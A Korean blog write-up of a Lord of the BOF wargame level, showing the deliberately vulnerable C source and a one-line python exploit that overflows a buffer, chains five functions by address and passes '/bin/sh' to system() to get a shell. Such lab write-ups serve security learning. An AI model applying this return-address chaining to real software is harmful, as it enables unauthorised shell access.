Profile

머리정리하는곳

c2w2m2

[Level17] zombie_assassin -> succubus

/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously 
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

	// olleh!
	system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
	if(check != 1)
		exit(0);

	printf("welcome to the GYE!\n");
	check = 2;
}

void DO(void)
{
	printf("welcome to the DO!\n");
	check = 1;
}

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// you cannot use library
	if(strchr(argv[1], '\x40')){
		printf("You cannot use library\n");
		exit(0);
	}

	// check address
	addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // stack destroyer
	// 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
	memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}


코드가 너무 길어서 스샷을 찍을수가... ㅠㅠ


쨋든 코드를 분석해보면 함수 호출 규약에 관한 문제인거같습니다.


main애 주렁주렁 달린건 꼼수방지인거 같네요.


그냥  DO -> GYE -> GUL -> YUT -> MO 로 함수를 호출해 주면 될거 같습니다.


MO 호출뒤에는 dummy[4 byte] + "/bin/sh" 문자열 주소 + "/bin/sh" 식으로 풀이하면 될거 같습니다. 


시간이 없으니 주소값 찾는건 생략하고 바로 공격 하죠 ( gdb로 p DO, p GYE ... 하면 됩니다) 점심시간 좀 늘려줬으면;;




./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" +"AAAA"+"\x98\xfa\xff\xbf" + "/bin/sh"'`





클리어!

'Pwnable > LOB' 카테고리의 다른 글

[Level19] nightmare -> xavius  (0) 2017.05.18
[Level18] succubus -> nightmare  (0) 2017.05.18
[Level16] assassin -> zombie_assassin  (0) 2017.05.17
[Level15] giant -> assassin  (0) 2017.05.17
[Level14] bugbear -> giant  (0) 2017.05.17